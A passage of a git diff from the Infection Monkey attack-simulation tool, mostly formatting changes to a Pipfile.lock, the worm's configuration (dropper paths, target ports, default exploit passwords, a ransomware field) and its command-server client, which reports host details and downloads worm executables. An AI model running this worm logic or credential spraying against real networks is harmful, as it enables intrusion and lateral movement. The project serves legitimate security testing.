+ "sha256:30f9b96db44e09b3304f9ea95079b1b7316b2b4f3744fe3aaecccd95d547063d",
+ "sha256:4e10569f8cbed81cb7526ae137049759d2a8d57726d52c1a000a3ce366779634",
+ "sha256:511d269ee845037b95c9781aa702f90ccc36036f95d0f31373a6a79bd8242e25",
+ "sha256:537a7ccbea22905a0ab36ea58577b39d1fa9b1884869d173b5cf111f006f689f",
+ "sha256:54e9a2c849c742006516ad56a88f5c74bf2ce92c9f67435187c3c5953b346505",
+ "sha256:757250ddb3bff1eecd7e41e65f7f833a8405fede0194319f87899690624f2122",
+ "sha256:7757ae33dae81c300487591c68790dfb5145c7d03324000433d9a2c141f82af7",
+ "sha256:7c6092102219f59ff29788860ccb021e80fffd953920c4a8653889c029b2d420",
+ "sha256:8122ba5f2a2169ca5da936b2e5a511740ffb73979381b4229d9188f6dcb22f1f",
+ "sha256:9c4a7ea4fb81536c1b1f5cc44d54a296f96ae78c1ebd2311bd0b60be45a48d96",
+ "sha256:c914f78da4953b33d4685e3cdc7ce63401247a21425c16a39760e282075ac4a6",
+ "sha256:cd401ccbc2a249a47a3a1724c2918fcd04be1f7b54eb2a5a71ff915db0ac51c6",
+ "sha256:d452a6746f0a7e11121e64625109bc4468fc3100452817001dbe018bb8b08514",
+ "sha256:ea6841bc3a76fa4942ce00f3bda7d436fda21e2d91602b9e21b7ca9ecab8f3ff",
+ "sha256:f8851ab9041756003119368c1e6cd0b9c631f46d686b3904b18c0139f4419f80"
+ ],
+ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'",
+ "version": "==1.4.0"
+ },
+ "pyopenssl": {
+ "hashes": [
+ "sha256:aeca66338f6de19d1aa46ed634c3b9ae519a64b458f8468aec688e7e3c20f200",
+ "sha256:c727930ad54b10fc157015014b666f2d8b41f70c0d03e83ab67624fd3dd5d1e6"
+ ],
+ "index": "pypi",
+ "version": "==19.0.0"
+ },
+ "pypykatz": {
+ "hashes": [
+ "sha256:8acd8d69f7b0ab343c593490a0837871b58b5c322ad54ada2fad0fed049349f3",
+ "sha256:b63b19ec6ee8448bbcf7003e6ad1f9d7a2784fd8cee54aebcc5f717792a43200"
+ ],
+ "index": "pypi",
+ "version": "==0.3.12"
+ },
+ "pysmb": {
+ "hashes": [
+ "sha256:7aedd5e003992c6c78b41a0da4bf165359a46ea25ab2a9a1594d13f471ad7287"
+ ],
+ "index": "pypi",
+ "version": "==1.2.5"
+ },
+ "python-dateutil": {
+ "hashes": [
+ "sha256:7e6584c74aeed623791615e26efd690f29817a27c73085b78e4bad02493df2fb",
+ "sha256:c89805f6f4d64db21ed966fda138f8a5ed7a4fdbc1a8ee329ce1b74e3c74da9e"
+ ],
+ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'",
+ "version": "==2.8.0"
+ },
+ "pytz": {
+ "hashes": [
+ "sha256:83a4a90894bf38e243cf052c8b58f381bfe9a7a483f6a9cab140bc7f702ac4da",
+ "sha256:eb10ce3e7736052ed3623d49975ce333bcd712c7bb19a58b9e2089d4057d0798"
+ ],
+ "version": "==2021.1"
+ },
+ "requests": {
+ "hashes": [
+ "sha256:27973dd4a904a4f13b263a19c866c13b92a39ed1c964655f025f3f8d3d75b804",
+ "sha256:c210084e36a42ae6b9219e00e48287def368a26d03a048ddad7bfee44f75871e"
+ ],
+ "index": "pypi",
+ "version": "==2.25.1"
+ },
+ "s3transfer": {
+ "hashes": [
+ "sha256:9b3752887a2880690ce628bc263d6d13a3864083aeacff4890c1c9839a5eb0bc",
+ "sha256:cb022f4b16551edebbb31a377d3f09600dbada7363d8c5db7976e7f47732e1b2"
+ ],
+ "version": "==0.4.2"
+ },
+ "scoutsuite": {
+ "git": "git://github.com/guardicode/ScoutSuite",
+ "ref": "eac33ac5b0a84e4a2e29682cf3568271eb595003"
+ },
+ "simplejson": {
+ "hashes": [
+ "sha256:034550078a11664d77bc1a8364c90bb7eef0e44c2dbb1fd0a4d92e3997088667",
+ "sha256:05b43d568300c1cd43f95ff4bfcff984bc658aa001be91efb3bb21df9d6288d3",
+ "sha256:0dd9d9c738cb008bfc0862c9b8fa6743495c03a0ed543884bf92fb7d30f8d043",
+ "sha256:10fc250c3edea4abc15d930d77274ddb8df4803453dde7ad50c2f5565a18a4bb",
+ "sha256:2862beabfb9097a745a961426fe7daf66e1714151da8bb9a0c430dde3d59c7c0",
+ "sha256:292c2e3f53be314cc59853bd20a35bf1f965f3bc121e007ab6fd526ed412a85d",
+ "sha256:2d3eab2c3fe52007d703a26f71cf649a8c771fcdd949a3ae73041ba6797cfcf8",
+ "sha256:2e7b57c2c146f8e4dadf84977a83f7ee50da17c8861fd7faf694d55e3274784f",
+ "sha256:311f5dc2af07361725033b13cc3d0351de3da8bede3397d45650784c3f21fbcf",
+ "sha256:344e2d920a7f27b4023c087ab539877a1e39ce8e3e90b867e0bfa97829824748",
+ "sha256:3fabde09af43e0cbdee407555383063f8b45bfb52c361bc5da83fcffdb4fd278",
+ "sha256:42b8b8dd0799f78e067e2aaae97e60d58a8f63582939af60abce4c48631a0aa4",
+ "sha256:4b3442249d5e3893b90cb9f72c7d6ce4d2ea144d2c0d9f75b9ae1e5460f3121a",
+ "sha256:55d65f9cc1b733d85ef95ab11f559cce55c7649a2160da2ac7a078534da676c8",
+ "sha256:5c659a0efc80aaaba57fcd878855c8534ecb655a28ac8508885c50648e6e659d",
+ "sha256:72d8a3ffca19a901002d6b068cf746be85747571c6a7ba12cbcf427bfb4ed971",
+ "sha256:75ecc79f26d99222a084fbdd1ce5aad3ac3a8bd535cd9059528452da38b68841",
+ "sha256:76ac9605bf2f6d9b56abf6f9da9047a8782574ad3531c82eae774947ae99cc3f",
+ "sha256:7d276f69bfc8c7ba6c717ba8deaf28f9d3c8450ff0aa8713f5a3280e232be16b",
+ "sha256:7f10f8ba9c1b1430addc7dd385fc322e221559d3ae49b812aebf57470ce8de45",
+ "sha256:8042040af86a494a23c189b5aa0ea9433769cc029707833f261a79c98e3375f9",
+ "sha256:813846738277729d7db71b82176204abc7fdae2f566e2d9fcf874f9b6472e3e6",
+ "sha256:845a14f6deb124a3bcb98a62def067a67462a000e0508f256f9c18eff5847efc",
+ "sha256:869a183c8e44bc03be1b2bbcc9ec4338e37fa8557fc506bf6115887c1d3bb956",
+ "sha256:8acf76443cfb5c949b6e781c154278c059b09ac717d2757a830c869ba000cf8d",
+ "sha256:8f713ea65958ef40049b6c45c40c206ab363db9591ff5a49d89b448933fa5746",
+ "sha256:934115642c8ba9659b402c8bdbdedb48651fb94b576e3b3efd1ccb079609b04a",
+ "sha256:9551f23e09300a9a528f7af20e35c9f79686d46d646152a0c8fc41d2d074d9b0",
+ "sha256:9a2b7543559f8a1c9ed72724b549d8cc3515da7daf3e79813a15bdc4a769de25",
+ "sha256:a55c76254d7cf8d4494bc508e7abb993a82a192d0db4552421e5139235604625",
+ "sha256:ad8f41c2357b73bc9e8606d2fa226233bf4d55d85a8982ecdfd55823a6959995",
+ "sha256:af4868da7dd53296cd7630687161d53a7ebe2e63814234631445697bd7c29f46",
+ "sha256:afebfc3dd3520d37056f641969ce320b071bc7a0800639c71877b90d053e087f",
+ "sha256:b59aa298137ca74a744c1e6e22cfc0bf9dca3a2f41f51bc92eb05695155d905a",
+ "sha256:bc00d1210567a4cdd215ac6e17dc00cb9893ee521cee701adfd0fa43f7c73139",
+ "sha256:c1cb29b1fced01f97e6d5631c3edc2dadb424d1f4421dad079cb13fc97acb42f",
+ "sha256:c94dc64b1a389a416fc4218cd4799aa3756f25940cae33530a4f7f2f54f166da",
+ "sha256:ceaa28a5bce8a46a130cd223e895080e258a88d51bf6e8de2fc54a6ef7e38c34",
+ "sha256:cff6453e25204d3369c47b97dd34783ca820611bd334779d22192da23784194b",
+ "sha256:d0b64409df09edb4c365d95004775c988259efe9be39697d7315c42b7a5e7e94",
+ "sha256:d4813b30cb62d3b63ccc60dd12f2121780c7a3068db692daeb90f989877aaf04",
+ "sha256:da3c55cdc66cfc3fffb607db49a42448785ea2732f055ac1549b69dcb392663b",
+ "sha256:e058c7656c44fb494a11443191e381355388443d543f6fc1a245d5d238544396",
+ "sha256:fed0f22bf1313ff79c7fc318f7199d6c2f96d4de3234b2f12a1eab350e597c06",
+ "sha256:ffd4e4877a78c84d693e491b223385e0271278f5f4e1476a4962dca6824ecfeb"
+ ],
+ "index": "pypi",
+ "version": "==3.17.2"
+ },
+ "six": {
+ "hashes": [
+ "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926",
+ "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254"
+ ],
+ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'",
+ "version": "==1.16.0"
+ },
+ "sqlitedict": {
+ "hashes": [
+ "sha256:2affcc301aacd4da7511692601ecbde392294205af418498f7d6d3ec0dbcad56"
+ ],
+ "version": "==1.7.0"
+ },
+ "tempora": {
+ "hashes": [
+ "sha256:10fdc29bf85fa0df39a230a225bb6d093982fc0825b648a414bbc06bddd79909",
+ "sha256:d44aec6278b27d34a47471ead01b710351076eb5d61181551158f1613baf6bc8"
+ ],
+ "markers": "python_version >= '3.6'",
+ "version": "==4.0.2"
+ },
+ "tqdm": {
+ "hashes": [
+ "sha256:24be966933e942be5f074c29755a95b315c69a91f839a29139bf26ffffe2d3fd",
+ "sha256:aa0c29f03f298951ac6318f7c8ce584e48fa22ec26396e6411e43d038243bdb2"
+ ],
+ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'",
+ "version": "==4.61.1"
+ },
+ "typing-extensions": {
+ "hashes": [
+ "sha256:0ac0f89795dd19de6b97debb0c6af1c70987fd80a2d62d1958f7e56fcc31b497",
+ "sha256:50b6f157849174217d0656f99dc82fe932884fb250826c18350e159ec6cdf342",
+ "sha256:779383f6086d90c99ae41cf0ff39aac8a7937a9283ce0a414e5dd782f4c94a84"
+ ],
+ "markers": "python_version < '3.8'",
+ "version": "==3.10.0.0"
+ },
+ "urllib3": {
+ "hashes": [
+ "sha256:2f3db8b19923a873b3e5256dc9c2dedfa883e33d87c690d9c7913e1f40673cdc",
+ "sha256:87716c2d2a7121198ebcb7ce7cccf6ce5e9ba539041cfbaeecfb641dc0bf6acc"
+ ],
+ "index": "pypi",
+ "version": "==1.25.8"
+ },
+ "wcwidth": {
+ "hashes": [
+ "sha256:beb4802a9cebb9144e99086eff703a642a13d6a0052920003a230f3294bbe784",
+ "sha256:c4d647b99872929fdb7bdcaa4fbe7f01413ed3d98077df798530e5b04f116c83"
+ ],
+ "version": "==0.2.5"
+ },
+ "werkzeug": {
+ "hashes": [
+ "sha256:1de1db30d010ff1af14a009224ec49ab2329ad2cde454c8a708130642d579c42",
+ "sha256:6c1ec500dcdba0baa27600f6a22f6333d8b662d22027ff9f6202e3367413caa8"
+ ],
+ "markers": "python_version >= '3.6'",
+ "version": "==2.0.1"
+ },
+ "winacl": {
+ "hashes": [
+ "sha256:57e5b4591b4be2b243d4b79882bd0fb6229d5930d062fdae941d5d8af6aa29ee",
+ "sha256:aa652870757136e39ea85037d33b6b9bd09b415d907a5d64ca7b1a4f67202c59"
+ ],
+ "markers": "python_version >= '3.6'",
+ "version": "==0.1.1"
+ },
+ "winsspi": {
+ "hashes": [
+ "sha256:a2ad9c0f6d70f6e0e0d1f54b8582054c62d8a09f346b5ccaf55da68628ca10e1",
+ "sha256:a64624a25fc2d3663a2c5376c5291f3c7531e9c8051571de9ca9db8bf25746c2"
+ ],
+ "markers": "python_version >= '3.6'",
+ "version": "==0.0.9"
+ },
+ "winsys-3.x": {
+ "hashes": [
+ "sha256:cef3df1dce2a5a71efa46446e6007ad9f7dbae31e83ffcc2ea3485c00c914cc3"
+ ],
+ "index": "pypi",
+ "version": "==0.5.2"
+ },
+ "wmi": {
+ "hashes": [
+ "sha256:1d6b085e5c445141c475476000b661f60fff1aaa19f76bf82b7abb92e0ff4942",
+ "sha256:b6a6be5711b1b6c8d55bda7a8befd75c48c12b770b9d227d31c1737dbf0d40a6"
+ ],
+ "markers": "sys_platform == 'win32'",
+ "version": "==1.5.1"
+ },
+ "zc.lockfile": {
+ "hashes": [
+ "sha256:307ad78227e48be260e64896ec8886edc7eae22d8ec53e4d528ab5537a83203b",
+ "sha256:cc33599b549f0c8a248cb72f3bf32d77712de1ff7ee8814312eb6456b42c015f"
+ ],
+ "version": "==2.0"
+ },
+ "zipp": {
+ "hashes": [
+ "sha256:3607921face881ba3e026887d8150cca609d517579abe052ac81fc5aeffdbd76",
+ "sha256:51cb66cc54621609dd593d1787f286ee42a5c0adbb4b29abea5a63edc3e03098"
+ ],
+ "markers": "python_version >= '3.6'",
+ "version": "==3.4.1"
+ }
+ },
+ "develop": {}
+}
diff --git a/monkey/infection_monkey/__init__.py b/monkey/infection_monkey/__init__.py
index ee5b79ad0..e69de29bb 100644
--- a/monkey/infection_monkey/__init__.py
+++ b/monkey/infection_monkey/__init__.py
@@ -1 +0,0 @@
-__author__ = 'itay.mizeretz'
diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py
index 018f3aacc..0bede1c57 100644
--- a/monkey/infection_monkey/config.py
+++ b/monkey/infection_monkey/config.py
@@ -5,14 +5,17 @@ import uuid
from abc import ABCMeta
from itertools import product
-__author__ = 'itamar'
-
GUID = str(uuid.getnode())
-EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin')
+EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), "monkey.bin")
-SENSITIVE_FIELDS = ["exploit_password_list", "exploit_user_list", "exploit_ssh_keys", "aws_secret_access_key",
- "aws_session_token"]
+SENSITIVE_FIELDS = [
+ "exploit_password_list",
+ "exploit_user_list",
+ "exploit_ssh_keys",
+ "aws_secret_access_key",
+ "aws_session_token",
+]
LOCAL_CONFIG_VARS = ["name", "id", "current_server", "max_depth"]
HIDDEN_FIELD_REPLACEMENT_CONTENT = "hidden"
@@ -21,7 +24,7 @@ class Configuration(object):
def from_kv(self, formatted_data):
unknown_items = []
for key, value in list(formatted_data.items()):
- if key.startswith('_'):
+ if key.startswith("_"):
continue
if key in LOCAL_CONFIG_VARS:
continue
@@ -45,7 +48,7 @@ class Configuration(object):
def as_dict(self):
result = {}
for key in dir(Configuration):
- if key.startswith('_'):
+ if key.startswith("_"):
continue
try:
value = getattr(self, key)
@@ -75,10 +78,10 @@ class Configuration(object):
###########################
use_file_logging = True
- dropper_log_path_windows = '%temp%\\~df1562.tmp'
- dropper_log_path_linux = '/tmp/user-1562'
- monkey_log_path_windows = '%temp%\\~df1563.tmp'
- monkey_log_path_linux = '/tmp/user-1563'
+ dropper_log_path_windows = "%temp%\\~df1562.tmp"
+ dropper_log_path_linux = "/tmp/user-1562"
+ monkey_log_path_windows = "%temp%\\~df1563.tmp"
+ monkey_log_path_linux = "/tmp/user-1563"
send_log_to_server = True
###########################
@@ -88,16 +91,16 @@ class Configuration(object):
dropper_try_move_first = True
dropper_set_date = True
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
- dropper_date_reference_path_linux = '/bin/sh'
+ dropper_date_reference_path_linux = "/bin/sh"
dropper_target_path_win_32 = r"C:\Windows\temp\monkey32.exe"
dropper_target_path_win_64 = r"C:\Windows\temp\monkey64.exe"
- dropper_target_path_linux = '/tmp/monkey'
+ dropper_target_path_linux = "/tmp/monkey"
###########################
# Kill file
###########################
- kill_file_path_windows = '%windir%\\monkey.not'
- kill_file_path_linux = '/var/run/monkey.not'
+ kill_file_path_windows = "%windir%\\monkey.not"
+ kill_file_path_linux = "/var/run/monkey.not"
###########################
# monkey config
@@ -134,9 +137,7 @@ class Configuration(object):
current_server = ""
# Configuration servers to try to connect to, in this order.
- command_servers = [
- "192.0.2.0:5000"
- ]
+ command_servers = ["192.0.2.0:5000"]
# sets whether or not to locally save the running configuration after finishing
serialize_config = False
@@ -150,7 +151,7 @@ class Configuration(object):
keep_tunnel_open_time = 60
# Monkey files directory name
- monkey_dir_name = 'monkey_dir'
+ monkey_dir_name = "monkey_dir"
###########################
# scanners config
@@ -165,21 +166,14 @@ class Configuration(object):
blocked_ips = []
# TCP Scanner
- HTTP_PORTS = [80, 8080, 443,
- 8008, # HTTP alternate
- 7001 # Oracle Weblogic default server port
- ]
- tcp_target_ports = [22,
- 2222,
- 445,
- 135,
- 3389,
- 80,
- 8080,
- 443,
- 8008,
- 3306,
- 9200]
+ HTTP_PORTS = [
+ 80,
+ 8080,
+ 443,
+ 8008, # HTTP alternate
+ 7001, # Oracle Weblogic default server port
+ ]
+ tcp_target_ports = [22, 2222, 445, 135, 3389, 80, 8080, 443, 8008, 3306, 9200]
tcp_target_ports.extend(HTTP_PORTS)
tcp_scan_timeout = 3000 # 3000 Milliseconds
tcp_scan_interval = 0 # in milliseconds
@@ -192,14 +186,16 @@ class Configuration(object):
# exploiters config
###########################
- should_exploit = True
skip_exploit_if_file_exist = False
ms08_067_exploit_attempts = 5
user_to_add = "Monkey_IUSER_SUPPORT"
- remote_user_pass = "Password1!"
- # User and password dictionaries for exploits.
+ ###########################
+ # ransomware config
+ ###########################
+
+ ransomware = ""
def get_exploit_user_password_pairs(self):
"""
@@ -220,18 +216,19 @@ class Configuration(object):
:return:
"""
cred_list = []
- for cred in product(self.exploit_user_list, self.exploit_password_list, [''], ['']):
+ for cred in product(self.exploit_user_list, self.exploit_password_list, [""], [""]):
cred_list.append(cred)
- for cred in product(self.exploit_user_list, [''], [''], self.exploit_ntlm_hash_list):
+ for cred in product(self.exploit_user_list, [""], [""], self.exploit_ntlm_hash_list):
cred_list.append(cred)
- for cred in product(self.exploit_user_list, [''], self.exploit_lm_hash_list, ['']):
+ for cred in product(self.exploit_user_list, [""], self.exploit_lm_hash_list, [""]):
cred_list.append(cred)
return cred_list
@staticmethod
def hash_sensitive_data(sensitive_data):
"""
- Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data plain-text, as the log is
+ Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data
+ plain-text, as the log is
saved on client machines plain-text.
:param sensitive_data: the data to hash.
@@ -240,15 +237,15 @@ class Configuration(object):
password_hashed = hashlib.sha512(sensitive_data.encode()).hexdigest()
return password_hashed
- exploit_user_list = ['Administrator', 'root', 'user']
+ exploit_user_list = ["Administrator", "root", "user"]
exploit_password_list = ["Password1!", "1234", "password", "12345678"]
exploit_lm_hash_list = []
exploit_ntlm_hash_list = []
exploit_ssh_keys = []
- aws_access_key_id = ''
- aws_secret_access_key = ''
- aws_session_token = ''
+ aws_access_key_id = ""
+ aws_secret_access_key = ""
+ aws_session_token = ""
# smb/wmi exploiter
smb_download_timeout = 300 # timeout in seconds
@@ -257,7 +254,16 @@ class Configuration(object):
# Timeout (in seconds) for sambacry's trigger to yield results.
sambacry_trigger_timeout = 5
# Folder paths to guess share lies inside.
- sambacry_folder_paths_to_guess = ['/', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home']
+ sambacry_folder_paths_to_guess = [
+ "/",
+ "/mnt",
+ "/tmp",
+ "/storage",
+ "/export",
+ "/share",
+ "/shares",
+ "/home",
+ ]
# Shares to not check if they're writable.
sambacry_shares_not_to_check = ["IPC$", "print$"]
diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py
index 611166afa..109110498 100644
--- a/monkey/infection_monkey/control.py
+++ b/monkey/infection_monkey/control.py
@@ -1,6 +1,8 @@
import json
import logging
import platform
+from datetime import datetime
+from pprint import pformat
from socket import gethostname
from urllib.parse import urljoin
@@ -9,18 +11,17 @@ from requests.exceptions import ConnectionError
import infection_monkey.monkeyfs as monkeyfs
import infection_monkey.tunnel as tunnel
-from common.common_consts.timeouts import (LONG_REQUEST_TIMEOUT,
- MEDIUM_REQUEST_TIMEOUT,
- SHORT_REQUEST_TIMEOUT)
from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH
+from common.common_consts.time_formats import DEFAULT_TIME_FORMAT
+from common.common_consts.timeouts import (
+ LONG_REQUEST_TIMEOUT,
+ MEDIUM_REQUEST_TIMEOUT,
+ SHORT_REQUEST_TIMEOUT,
+)
from infection_monkey.config import GUID, WormConfiguration
from infection_monkey.network.info import check_internet_access, local_ips
from infection_monkey.transport.http import HTTPConnectProxy
from infection_monkey.transport.tcp import TcpProxy
-from infection_monkey.utils.exceptions.planned_shutdown_exception import PlannedShutdownException
-
-__author__ = 'hoffer'
-
requests.packages.urllib3.disable_warnings()
@@ -30,7 +31,8 @@ DOWNLOAD_CHUNK = 1024
PBA_FILE_DOWNLOAD = "https://%s/api/pba/download/%s"
# random number greater than 5,
-# to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere.
+# to prevent the monkey from just waiting forever to try and connect to an island before going
+# elsewhere.
TIMEOUT_IN_SECONDS = 15
@@ -49,27 +51,35 @@ class ControlClient(object):
if has_internet_access is None:
has_internet_access = check_internet_access(WormConfiguration.internet_services)
- monkey = {'guid': GUID,
- 'hostname': hostname,
- 'ip_addresses': local_ips(),
- 'description': " ".join(platform.uname()),
- 'internet_access': has_internet_access,
- 'config': WormConfiguration.as_dict(),
- 'parent': parent}
+ monkey = {
+ "guid": GUID,
+ "hostname": hostname,
+ "ip_addresses": local_ips(),
+ "description": " ".join(platform.uname()),
+ "internet_access": has_internet_access,
+ "config": WormConfiguration.as_dict(),
+ "parent": parent,
+ "launch_time": str(datetime.now().strftime(DEFAULT_TIME_FORMAT)),
+ }
if ControlClient.proxies:
- monkey['tunnel'] = ControlClient.proxies.get('https')
+ monkey["tunnel"] = ControlClient.proxies.get("https")
- requests.post("https://%s/api/monkey" % (WormConfiguration.current_server,), # noqa: DUO123
- data=json.dumps(monkey),
- headers={'content-type': 'application/json'},
- verify=False,
- proxies=ControlClient.proxies,
- timeout=20)
+ requests.post( # noqa: DUO123
+ "https://%s/api/monkey" % (WormConfiguration.current_server,),
+ data=json.dumps(monkey),
+ headers={"content-type": "application/json"},
+ verify=False,
+ proxies=ControlClient.proxies,
+ timeout=20,
+ )
@staticmethod
def find_server(default_tunnel=None):
- LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers)
+ LOG.debug(
+ "Trying to wake up with Monkey Island servers list: %r"
+ % WormConfiguration.command_servers
+ )
if default_tunnel:
LOG.debug("default_tunnel: %s" % (default_tunnel,))
@@ -83,10 +93,12 @@ class ControlClient(object):
if ControlClient.proxies:
debug_message += " through proxies: %s" % ControlClient.proxies
LOG.debug(debug_message)
- requests.get(f"https://{server}/api?action=is-up", # noqa: DUO123
- verify=False,
- proxies=ControlClient.proxies,
- timeout=TIMEOUT_IN_SECONDS)
+ requests.get( # noqa: DUO123
+ f"https://{server}/api?action=is-up",
+ verify=False,
+ proxies=ControlClient.proxies,
+ timeout=TIMEOUT_IN_SECONDS,
+ )
WormConfiguration.current_server = current_server
break
@@ -105,7 +117,7 @@ class ControlClient(object):
if proxy_find:
proxy_address, proxy_port = proxy_find
LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port))
- ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port)
+ ControlClient.proxies["https"] = "https://%s:%s" % (proxy_address, proxy_port)
return ControlClient.find_server()
else:
LOG.info("No tunnel found")
@@ -118,74 +130,95 @@ class ControlClient(object):
try:
monkey = {}
if ControlClient.proxies:
- monkey['tunnel'] = ControlClient.proxies.get('https')
- requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), # noqa: DUO123
- data=json.dumps(monkey),
- headers={'content-type': 'application/json'},
- verify=False,
- proxies=ControlClient.proxies,
- timeout=MEDIUM_REQUEST_TIMEOUT)
+ monkey["tunnel"] = ControlClient.proxies.get("https")
+ requests.patch( # noqa: DUO123
+ "https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
+ data=json.dumps(monkey),
+ headers={"content-type": "application/json"},
+ verify=False,
+ proxies=ControlClient.proxies,
+ timeout=MEDIUM_REQUEST_TIMEOUT,
+ )
except Exception as exc:
- LOG.warning("Error connecting to control server %s: %s",
- WormConfiguration.current_server, exc)
+ LOG.warning(
+ "Error connecting to control server %s: %s", WormConfiguration.current_server, exc
+ )
return {}
@staticmethod
def send_telemetry(telem_category, json_data: str):
if not WormConfiguration.current_server:
- LOG.error("Trying to send %s telemetry before current server is established, aborting." % telem_category)
+ LOG.error(
+ "Trying to send %s telemetry before current server is established, aborting."
+ % telem_category
+ )
return
try:
- telemetry = {'monkey_guid': GUID, 'telem_category': telem_category, 'data': json_data}
- requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,), # noqa: DUO123
- data=json.dumps(telemetry),
- headers={'content-type': 'application/json'},
- verify=False,
- proxies=ControlClient.proxies,
- timeout=MEDIUM_REQUEST_TIMEOUT)
+ telemetry = {"monkey_guid": GUID, "telem_category": telem_category, "data": json_data}
+ requests.post( # noqa: DUO123
+ "https://%s/api/telemetry" % (WormConfiguration.current_server,),
+ data=json.dumps(telemetry),
+ headers={"content-type": "application/json"},
+ verify=False,
+ proxies=ControlClient.proxies,
+ timeout=MEDIUM_REQUEST_TIMEOUT,
+ )
except Exception as exc:
- LOG.warning("Error connecting to control server %s: %s",
- WormConfiguration.current_server, exc)
+ LOG.warning(
+ "Error connecting to control server %s: %s", WormConfiguration.current_server, exc
+ )
@staticmethod
def send_log(log):
if not WormConfiguration.current_server:
return
try:
- telemetry = {'monkey_guid': GUID, 'log': json.dumps(log)}
- requests.post("https://%s/api/log" % (WormConfiguration.current_server,), # noqa: DUO123
- data=json.dumps(telemetry),
- headers={'content-type': 'application/json'},
- verify=False,
- proxies=ControlClient.proxies,
- timeout=MEDIUM_REQUEST_TIMEOUT)
+ telemetry = {"monkey_guid": GUID, "log": json.dumps(log)}
+ requests.post( # noqa: DUO123
+ "https://%s/api/log" % (WormConfiguration.current_server,),
+ data=json.dumps(telemetry),
+ headers={"content-type": "application/json"},
+ verify=False,
+ proxies=ControlClient.proxies,
+ timeout=MEDIUM_REQUEST_TIMEOUT,
+ )
except Exception as exc:
- LOG.warning("Error connecting to control server %s: %s",
- WormConfiguration.current_server, exc)
+ LOG.warning(
+ "Error connecting to control server %s: %s", WormConfiguration.current_server, exc
+ )
@staticmethod
def load_control_config():
if not WormConfiguration.current_server:
return
try:
- reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), # noqa: DUO123
- verify=False,
- proxies=ControlClient.proxies,
- timeout=MEDIUM_REQUEST_TIMEOUT)
+ reply = requests.get( # noqa: DUO123
+ "https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
+ verify=False,
+ proxies=ControlClient.proxies,
+ timeout=MEDIUM_REQUEST_TIMEOUT,
+ )
except Exception as exc:
- LOG.warning("Error connecting to control server %s: %s",
- WormConfiguration.current_server, exc)
+ LOG.warning(
+ "Error connecting to control server %s: %s", WormConfiguration.current_server, exc
+ )
return
try:
- unknown_variables = WormConfiguration.from_kv(reply.json().get('config'))
- LOG.info("New configuration was loaded from server: %r" %
- (WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()),))
+ unknown_variables = WormConfiguration.from_kv(reply.json().get("config"))
+ formatted_config = pformat(
+ WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict())
+ )
+ LOG.info(f"New configuration was loaded from server:\n{formatted_config}")
except Exception as exc:
# we don't continue with default conf here because it might be dangerous
- LOG.error("Error parsing JSON reply from control server %s (%s): %s",
- WormConfiguration.current_server, reply._content, exc)
+ LOG.error(
+ "Error parsing JSON reply from control server %s (%s): %s",
+ WormConfiguration.current_server,
+ reply._content,
+ exc,
+ )
raise Exception("Couldn't load from from server's configuration, aborting. %s" % exc)
if unknown_variables:
@@ -196,14 +229,18 @@ class ControlClient(object):
if not WormConfiguration.current_server:
return
try:
- requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), # noqa: DUO123
- data=json.dumps({'config_error': True}),
- headers={'content-type': 'application/json'},
- verify=False,
- proxies=ControlClient.proxies,
- timeout=MEDIUM_REQUEST_TIMEOUT)
+ requests.patch( # noqa: DUO123
+ "https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
+ data=json.dumps({"config_error": True}),
+ headers={"content-type": "application/json"},
+ verify=False,
+ proxies=ControlClient.proxies,
+ timeout=MEDIUM_REQUEST_TIMEOUT,
+ )
except Exception as exc:
- LOG.warning("Error connecting to control server %s: %s", WormConfiguration.current_server, exc)
+ LOG.warning(
+ "Error connecting to control server %s: %s", WormConfiguration.current_server, exc
+ )
return {}
@staticmethod
@@ -221,7 +258,8 @@ class ControlClient(object):
@staticmethod
def download_monkey_exe_by_os(is_windows, is_32bit):
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict(
- ControlClient.spoof_host_os_info(is_windows, is_32bit))
+ ControlClient.spoof_host_os_info(is_windows, is_32bit)
+ )
if filename is None:
return None
return ControlClient.download_monkey_exe_by_filename(filename, size)
@@ -241,14 +279,7 @@ class ControlClient(object):
else:
arch = "x86_64"
- return \
- {
- "os":
- {
- "type": os,
- "machine": arch
- }
- }
+ return {"os": {"type": os, "machine": arch}}
@staticmethod
def download_monkey_exe_by_filename(filename, size):
@@ -259,13 +290,15 @@ class ControlClient(object):
if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)):
return dest_file
else:
- download = requests.get("https://%s/api/monkey/download/%s" % # noqa: DUO123
- (WormConfiguration.current_server, filename),
- verify=False,
- proxies=ControlClient.proxies,
- timeout=MEDIUM_REQUEST_TIMEOUT)
+ download = requests.get( # noqa: DUO123
